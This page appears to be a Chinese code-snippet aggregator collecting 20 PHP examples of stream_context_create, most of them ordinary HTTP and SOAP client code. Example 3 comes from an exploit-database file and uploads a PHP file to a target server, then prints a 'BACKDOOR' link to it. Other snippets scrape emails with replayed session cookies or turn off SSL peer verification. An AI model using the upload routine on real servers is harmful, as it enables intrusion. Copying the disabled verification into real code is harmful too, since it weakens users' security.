本文整理汇总了PHP中stream_context_create函数的典型用法代码示例。如果您正苦于以下问题:PHP stream_context_create函数的具体用法?PHP stream_context_create怎么用?PHP stream_context_create使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了stream_context_create函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。
示例1: do_post_request
function do_post_request($url, $postdata, $files = NULL)
{
$data = "";
$boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
if (is_array($postdata)) {
foreach ($postdata as $key => $val) {
$data .= "--" . $boundary . "\n";
$data .= "Content-Disposition: form-data; name=" . $key . "\n\n" . $val . "\n";
}
}
$data .= "--" . $boundary . "\n";
if (is_array($files)) {
foreach ($files as $key => $file) {
$fileContents = file_get_contents($file['tmp_name']);
$data .= "Content-Disposition: form-data; name=" . $key . "; filename=" . $file['name'] . "\n";
$data .= "Content-Type: application/x-bittorrent\n";
$data .= "Content-Transfer-Encoding: binary\n\n";
$data .= $fileContents . "\n";
$data .= "--" . $boundary . "--\n";
}
}
$params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data));
$ctx = stream_context_create($params);
$fp = @fopen($url, 'rb', false, $ctx);
if (!$fp) {
throw new Exception("Problem with " . $url . ", " . $php_errormsg);
}
$response = @stream_get_contents($fp);
if ($response === false) {
throw new Exception("Problem reading data from " . $url . ", " . $php_errormsg);
}
return $response;
}
开发者ID:carriercomm,项目名称:Torrent-Cache,代码行数:33,代码来源:sharpshooter.php
示例2: _test_environment_getHello
function _test_environment_getHello($url)
{
$fp = fopen($url, 'r', false, stream_context_create(array('http' => array('method' => "GET", 'timeout' => '10', 'header' => "Accept-Encoding: deflate, gzip\r\n"))));
$meta = stream_get_meta_data($fp);
$encoding = '';
$length = 0;
foreach ($meta['wrapper_data'] as $i => $header) {
if (preg_match('@^Content-Length:\\s*(\\d+)$@i', $header, $m)) {
$length = $m[1];
} elseif (preg_match('@^Content-Encoding:\\s*(\\S+)$@i', $header, $m)) {
if ($m[1] !== 'identity') {
$encoding = $m[1];
}
}
}
$streamContents = stream_get_contents($fp);
fclose($fp);
if (__FILE__ === realpath($_SERVER['SCRIPT_FILENAME'])) {
if ($length != 6) {
echo "\nReturned content should be 6 bytes and not HTTP encoded.\n" . "Headers returned by: {$url}\n\n";
var_export($meta['wrapper_data']);
echo "\n\n";
}
}
return array('length' => $length, 'encoding' => $encoding, 'bytes' => $streamContents);
}
开发者ID:Bhaavya,项目名称:OpenLorenz,代码行数:26,代码来源:test_environment.php
示例3: do_post_request
function do_post_request($url, $res, $file, $name)
{
$data = "";
$boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
$data .= "--{$boundary}\n";
$fileContents = file_get_contents($file);
$md5 = md5_file($file);
$ext = pathinfo($file, PATHINFO_EXTENSION);
$data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
$data .= "Content-Type: text/plain\n";
$data .= "Content-Transfer-Encoding: binary\n\n";
$data .= $fileContents . "\n";
$data .= "--{$boundary}--\n";
$params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data));
$ctx = stream_context_create($params);
$fp = fopen($url, 'rb', false, $ctx);
if (!$fp) {
throw new Exception("Erreur !");
}
$response = @stream_get_contents($fp);
if ($response === false) {
throw new Exception("Erreur !");
} else {
echo "file should be here : ";
/* LETTERBOX */
if (count($response) > 1) {
echo $response;
} else {
echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>";
}
}
}
开发者ID:SuperQcheng,项目名称:exploit-database,代码行数:32,代码来源:35113.php
示例4: getStreamContext
/**
* @param bool $testEnv
* @param string $caFile
* @return resource
*/
private function getStreamContext($testEnv = false, $caFile = null)
{
if ($testEnv) {
$host = $this->certificatePeerName['test'];
} else {
$host = $this->certificatePeerName['production'];
}
$this->streamContextOption['ssl']['crypto_method'] = STREAM_CRYPTO_METHOD_TLS_CLIENT;
$this->streamContextOption['ssl']['verify_peer'] = true;
$this->streamContextOption['ssl']['SNI_enabled'] = true;
// Disable TLS compression to prevent CRIME attacks where supported (PHP 5.4.13 or later).
if (PHP_VERSION_ID >= 50413) {
$this->streamContextOption['ssl']['disable_compression'] = true;
}
if (PHP_VERSION_ID < 50600) {
//CN_match was deprecated in favour of peer_name in PHP 5.6
$this->streamContextOption['ssl']['CN_match'] = $host;
$this->streamContextOption['ssl']['SNI_server_name'] = $host;
// PHP 5.6 or greater will find the system cert by default. When < 5.6, use the system ca-certificates.
if (is_null($caFile)) {
$this->streamContextOption['ssl']['cafile'] = $this->getDefaultCABundle();
} else {
$this->streamContextOption['ssl']['cafile'] = $caFile;
}
} else {
$this->streamContextOption['ssl']['peer_name'] = $host;
$this->streamContextOption['ssl']['verify_peer_name'] = true;
}
return stream_context_create($this->streamContextOption);
}
开发者ID:endelwar,项目名称:gestpayws,代码行数:35,代码来源:WSCryptDecryptSoapClient.php
示例5: _request
private function _request($request)
{
$request = array_map('Comet_encode', $request);
array_unshift($request, $this->ORIGIN);
$ctx = stream_context_create(array('http' => array('timeout' => 200)));
return json_decode(file_get_contents_curl(implode('/', $request)), true);
}
开发者ID:albertoneto,项目名称:localhost,代码行数:7,代码来源:comet.php
示例6: get_profile_email
function get_profile_email($url)
{
global $g_acegi_cookie;
global $g_session_cookie;
global $g_delay;
sleep($g_delay);
// Create a stream
// get cookie values using wget commands
$cookie = sprintf("Cookie: ACEGI_SECURITY_HASHED_REMEMBER_ME_COOKIE=%s; JSESSIONID=%s\r\n", $g_acegi_cookie, $g_session_cookie);
$opts = array('http' => array('method' => "GET", 'header' => "Accept-language: en\r\n" . $cookie));
$context = stream_context_create($opts);
@($html = file_get_contents($url, false, $context));
$doc = new \DOMDocument();
@$doc->loadHTML($html);
$emailNode = $doc->getElementById("email1__ID__");
$nameNode = $doc->getElementById("name1__ID__");
$titleNode = $doc->getElementById("title1__ID__");
$companyNode = $doc->getElementById("company1__ID__");
if (!is_null($emailNode)) {
$data = array();
$data["email"] = $emailNode->nodeValue;
$data["name"] = is_null($nameNode) ? "" : $nameNode->nodeValue;
$data["title"] = is_null($titleNode) ? "" : $titleNode->nodeValue;
$data["company"] = is_null($companyNode) ? "" : $companyNode->nodeValue;
return $data;
}
return NULL;
}
开发者ID:rjha,项目名称:sc,代码行数:28,代码来源:curl-search.php
示例7: __call
public function __call($method, $arguments)
{
$dom = new DOMDocument('1.0', 'UTF-8');
$element = $dom->createElement('method');
$element->setAttribute('name', $method);
foreach ($arguments as $argument) {
$child = $dom->createElement('argument');
$textNode = $dom->createTextNode($argument);
$child->appendChild($textNode);
$element->appendChild($child);
}
$dom->appendChild($element);
$data = 'service=' . $dom->saveXML();
$params = array('http' => array('method' => 'POST', 'content' => $data));
$ctx = stream_context_create($params);
$fp = @fopen($this->server, 'rb', false, $ctx);
if (!$fp) {
throw new Exception('Problem with URL');
}
$response = @stream_get_contents($fp);
if ($response === false) {
throw new Exception("Problem reading data from {$this->server}");
}
$dom = new DOMDocument(null, 'UTF-8');
$dom->loadXML($response);
$result = $dom->childNodes->item(0)->childNodes->item(0)->nodeValue;
$type = $dom->childNodes->item(0)->childNodes->item(1)->nodeValue;
settype($result, $type);
return $result;
}
开发者ID:pelif,项目名称:studyWS,代码行数:30,代码来源:WebServiceClientProxy.php
示例8: sendOAuthBodyPOST
function sendOAuthBodyPOST($method, $endpoint, $oauth_consumer_key, $oauth_consumer_secret, $content_type, $body)
{
$hash = base64_encode(sha1($body, TRUE));
$parms = array('oauth_body_hash' => $hash);
$test_token = '';
$hmac_method = new OAuthSignatureMethod_HMAC_SHA1();
$test_consumer = new OAuthConsumer($oauth_consumer_key, $oauth_consumer_secret, NULL);
$acc_req = OAuthRequest::from_consumer_and_token($test_consumer, $test_token, $method, $endpoint, $parms);
$acc_req->sign_request($hmac_method, $test_consumer, $test_token);
// Pass this back up "out of band" for debugging
global $LastOAuthBodyBaseString;
$LastOAuthBodyBaseString = $acc_req->get_signature_base_string();
// echo($LastOAuthBodyBaseString."\m");
$header = $acc_req->to_header();
$header = $header . "\r\nContent-type: " . $content_type . "\r\n";
$params = array('http' => array('method' => 'POST', 'content' => $body, 'header' => $header));
try {
$ctx = stream_context_create($params);
$fp = @fopen($endpoint, 'rb', false, $ctx);
} catch (Exception $e) {
$fp = false;
}
if ($fp) {
$response = @stream_get_contents($fp);
} else {
// Try CURL
$headers = explode("\r\n", $header);
$response = sendXmlOverPost($endpoint, $body, $headers);
}
if ($response === false) {
throw new Exception("Problem reading data from {$endpoint}, {$php_errormsg}");
}
return $response;
}
开发者ID:ramanuv,项目名称:kennethware-2.0,代码行数:34,代码来源:OAuthBody.php
示例9: __construct
public function __construct($connProviderWsdlUri, $nsaProvider, $nsaRequester, $callBackServerUri = null, LocalCertificate $certificate = null)
{
if ($nsaProvider == null || $nsaRequester == null) {
throw new \Exception('NSA provider and NSA requester must be informed');
}
$this->nsaProvider = $nsaProvider;
$this->nsaRequester = $nsaRequester;
if ($certificate != null && !$certificate instanceof LocalCertificate) {
throw new \Exception('Certificate must be informed like a LocalCertificate object');
}
$this->localCert = $certificate;
$this->connProviderWsdlUri = $connProviderWsdlUri;
$this->callbackServerUri = $callBackServerUri;
$isSsl = $this->localCert == null ? false : true;
$streamContextOptions = ['ssl' => ['verify_peer' => $isSsl, 'allow_self_signed' => true], 'https' => ['curl_verify_ssl_peer' => $isSsl, 'curl_verify_ssl_host' => $isSsl]];
if (!$isSsl) {
$streamContextOptions['ssl']['ciphers'] = 'SHA1';
}
$context = stream_context_create($streamContextOptions);
$soapOptions = ['cache_wsdl' => WSDL_CACHE_NONE, 'stream_context' => $context, 'trace' => 1];
if ($isSsl) {
$soapOptions['local_cert'] = $this->localCert->getCertPath();
$soapOptions['passphrase'] = $this->localCert->getCertPassphrase();
}
parent::__construct($this->connProviderWsdlUri, $soapOptions);
}
开发者ID:BrunoSoares-LABORA,项目名称:php-nsi,代码行数:26,代码来源:RequesterClient.php
示例10: send
/**
* Sends a JSON-RPC request
* @param Tivoka_Request $request A Tivoka request
* @return Tivoka_Request if sent as a batch request the BatchRequest object will be returned
*/
public function send($request)
{
if (func_num_args() > 1) {
$request = func_get_args();
}
if (is_array($request)) {
$request = Tivoka::createBatch($request);
}
if (!$request instanceof Tivoka_Request) {
throw new Tivoka_Exception('Invalid data type to be sent to server');
}
$parse = parse_url($this->target);
// preparing connection...
$context = stream_context_create(array($parse['scheme'] => array('content' => (string) $request, 'header' => "Content-Type: application/json\r\n" . "Connection: Close\r\n", 'method' => 'POST', 'timeout' => 10.0)));
//sending...
if ($this->oauth_consumer) {
$oauth = new OAuth_Request($this->oauth_consumer, 'POST', $this->target, array(), (string) $request);
$response = $oauth->request($context);
} else {
$response = @file_get_contents($this->target, false, $context);
}
if ($response === FALSE) {
throw new Tivoka_Exception('Connection to "' . $this->target . '" failed', Tivoka::ERR_CONNECTION_FAILED);
}
$request->setResponse($response);
return $request;
}
开发者ID:BillTheBest,项目名称:MetaNAS,代码行数:32,代码来源:Connection.php
示例11: getHTTPContent
/**
* Get the content at the given URL using an HTTP GET call.
*
* @access public
* @static
* @param $url URL of the content.
* @return string Content at the given URL, false otherwise.
*/
public static function getHTTPContent($url)
{
// Sanity check
if (empty($url)) {
return false;
}
// Create the HTTP options for the HTTP stream context, see below
// Set phpMyFAQ agent related data
$agent = 'phpMyFAQ/' . PMF_Configuration::getInstance()->get('main.currentVersion') . ' on PHP/' . PHP_VERSION;
$opts = array('header' => 'User-Agent: ' . $agent . "\r\n", 'method' => 'GET');
// HTTP 1.1 Virtual Host
$urlParts = @parse_url($url);
if (isset($urlParts['host'])) {
$opts['header'] = $opts['header'] . 'Host: ' . $urlParts['host'] . "\r\n";
}
// Socket timeout
if (version_compare(PHP_VERSION, '5.2.1', '<')) {
@ini_set('default_socket_timeout', 5);
} else {
$opts['timeout'] = 5;
}
// Create the HTTP stream context
$ctx = stream_context_create(array('http' => $opts));
return file_get_contents($url, $flags, $ctx);
}
开发者ID:jr-ewing,项目名称:phpMyFAQ,代码行数:33,代码来源:Utils.php
示例12: MakeAsyncPostRequest
public function MakeAsyncPostRequest($postData)
{
$content = http_build_query($postData, '', '&');
$context = stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded;', 'content' => $content)));
$handle = @fopen($this->uri, 'rb', false, $context);
return $handle != false;
}
开发者ID:jgosier,项目名称:ushahidi_swift,代码行数:7,代码来源:ServiceWrapper.php
示例13: post
protected function post($method, $parameters = [])
{
$options = ["ssl" => ["verify_peer" => false, "verify_peer_name" => false], 'http' => ['header' => "Content-type: application/json; charset=utf-8\r\n" . "ApiToken: " . $this->parameters['apitoken'] . "\r\n", 'method' => "POST", 'content' => json_encode($this->getApiParameters($parameters))]];
$context = stream_context_create($options);
$result = file_get_contents($this->url . $method, false, $context);
return $this->parseResult($result);
}
开发者ID:bcismariu,项目名称:emailoversight-php,代码行数:7,代码来源:EmailOversight.php
示例14: getFastestRealTime
/**
* @param $hosts
* @return string
*/
public static function getFastestRealTime($hosts)
{
$mint = 60.0;
$s_url = '';
$count_hosts = count($hosts);
for ($i = 0; $i < $count_hosts; $i++) {
$start = microtime(true);
$opts = array('http' => array('method' => 'GET', 'timeout' => 3));
$context = stream_context_create($opts);
$homepage = null;
try {
$homepage = file_get_contents($hosts[$i], false, $context);
} catch (\Exception $e) {
echo $e;
}
$ends = microtime(true);
if ($homepage === null || $homepage === '') {
$diff = 60.0;
} else {
$diff = $ends - $start;
}
if ($mint > $diff) {
$mint = $diff;
$s_url = $hosts[$i];
}
}
return $s_url;
}
开发者ID:wy0727,项目名称:getui,代码行数:32,代码来源:ApiUrlRespectUtils.php
示例15: request
/**
* Execute a HTTP request to the remote server
*
* Returns the result from the remote server.
*
* @param string $method
* @param string $path
* @param \eZ\Publish\Core\REST\Common\Message $message
*
* @return \eZ\Publish\Core\REST\Common\Message
*/
public function request($method, $path, Message $message = null)
{
$message = $message ?: new Message();
$requestHeaders = $this->getRequestHeaders($message->headers);
$url = $this->server . $path;
$contextOptions = array('http' => array('method' => $method, 'content' => $message->body, 'ignore_errors' => true, 'header' => $requestHeaders, 'follow_location' => 0));
$httpFilePointer = @fopen($url, 'r', false, stream_context_create($contextOptions));
// Check if connection has been established successfully
if ($httpFilePointer === false) {
throw new ConnectionException($this->server, $path, $method);
}
// Read request body
$body = '';
while (!feof($httpFilePointer)) {
$body .= fgets($httpFilePointer);
}
$metaData = stream_get_meta_data($httpFilePointer);
// This depends on PHP compiled with or without --curl-enable-streamwrappers
$rawHeaders = isset($metaData['wrapper_data']['headers']) ? $metaData['wrapper_data']['headers'] : $metaData['wrapper_data'];
$headers = array();
foreach ($rawHeaders as $lineContent) {
// Extract header values
if (preg_match('(^HTTP/(?P<version>\\d+\\.\\d+)\\s+(?P<status>\\d+))S', $lineContent, $match)) {
$headers['version'] = $match['version'];
$headers['status'] = (int) $match['status'];
} else {
list($key, $value) = explode(':', $lineContent, 2);
$headers[$key] = ltrim($value);
}
}
return new Message($headers, $body, $headers['status']);
}
开发者ID:CG77,项目名称:ezpublish-kernel,代码行数:43,代码来源:Stream.php
示例16: customSearch
public function customSearch($apikey, $seid, $keyword)
{
for ($start = 1; $start < $this->end * 10 + 1; $start += 10) {
$endpoint = 'https://www.googleapis.com/customsearch/v1?';
$params = array('key' => $apikey, 'cx' => $seid, 'start' => $start, 'num' => 10, 'q' => urlencode($keyword));
$buildparams = http_build_query($params);
$apiurl = $endpoint . $buildparams;
$options = array('http' => array('method' => "GET", 'header' => "Accept-language: en\r\n" . "Cookie: biztech=indonesia\r\n" . "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36"));
$context = stream_context_create($options);
if ($this->_isCurl()) {
$search = $this->_curl($apiurl);
} else {
$search = file_get_contents($apiurl, false, $context);
}
$response = json_decode($search);
if (!empty($response->items)) {
$items = $response->items;
foreach ($items as $links) {
$results[] = array('link' => $links->link);
}
} else {
$results = array('link' => 'Empty results');
}
}
return $results;
}
开发者ID:bsormagec,项目名称:GoogleCustomSearchPHP,代码行数:26,代码来源:GoogleCustomSearch.class.php
示例17: forzar_ssl
function forzar_ssl()
{
$ssl = $_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443 ? 'https://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER['SERVER_PORT'] . '/intranet/config/ssl.json' : 'https://' . $_SERVER['SERVER_NAME'] . '/intranet/config/ssl.json';
$context = array('http' => array('header' => "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n"));
$file = @json_decode(@file_get_contents($ssl, false, stream_context_create($context)));
return sprintf("%s", $file ? reset($file)->ssl : 0);
}
开发者ID:iesportada,项目名称:intranet,代码行数:7,代码来源:config.php
示例18: getPage
function getPage($filepath, $url)
{
if (!file_exists($filepath)) {
copy('compress.zlib://' . $url, $filepath, stream_context_create(['http' => ['header' => 'Accept-Encoding: gzip']]));
}
return SimpleDOM::loadHTMLFile($filepath);
}
开发者ID:CryptArc,项目名称:TextFormatter,代码行数:7,代码来源:patchTemplateHelper.php
示例19: doGet
function doGet($url)
{
$options = array('http' => array('method' => 'GET', 'header' => 'Content-type:application/x-www-form-urlencoded', 'timeout' => 15 * 60));
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
return $result;
}
开发者ID:ChromiumX,项目名称:LoliHelp,代码行数:7,代码来源:ajax.php
示例20: onStartShowSections
function onStartShowSections($action)
{
$name = $action->trimmed('action');
if ($name == 'tag') {
$taginput = $action->trimmed('tag');
$tag = common_canonical_tag($taginput);
if (!empty($tag)) {
$url = sprintf('http://hashtags.wikia.com/index.php?title=%s&action=render', urlencode($tag));
$editurl = sprintf('http://hashtags.wikia.com/index.php?title=%s&action=edit', urlencode($tag));
$context = stream_context_create(array('http' => array('method' => "GET", 'header' => "User-Agent: " . $this->userAgent())));
$html = @file_get_contents($url, false, $context);
$action->elementStart('div', array('id' => 'wikihashtags', 'class' => 'section'));
if (!empty($html)) {
$action->element('style', null, "span.editsection { display: none }\n" . "table.toc { display: none }");
$action->raw($html);
$action->elementStart('p');
$action->element('a', array('href' => $editurl, 'title' => sprintf(_('Edit the article for #%s on WikiHashtags'), $tag)), _('Edit'));
$action->element('a', array('href' => 'http://www.gnu.org/copyleft/fdl.html', 'title' => _('Shared under the terms of the GNU Free Documentation License'), 'rel' => 'license'), 'GNU FDL');
$action->elementEnd('p');
} else {
$action->element('a', array('href' => $editurl), sprintf(_('Start the article for #%s on WikiHashtags'), $tag));
}
$action->elementEnd('div');
}
}
return true;
}
开发者ID:Br3nda,项目名称:laconica,代码行数:27,代码来源:WikiHashtagsPlugin.php
注:本文中的stream_context_create函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论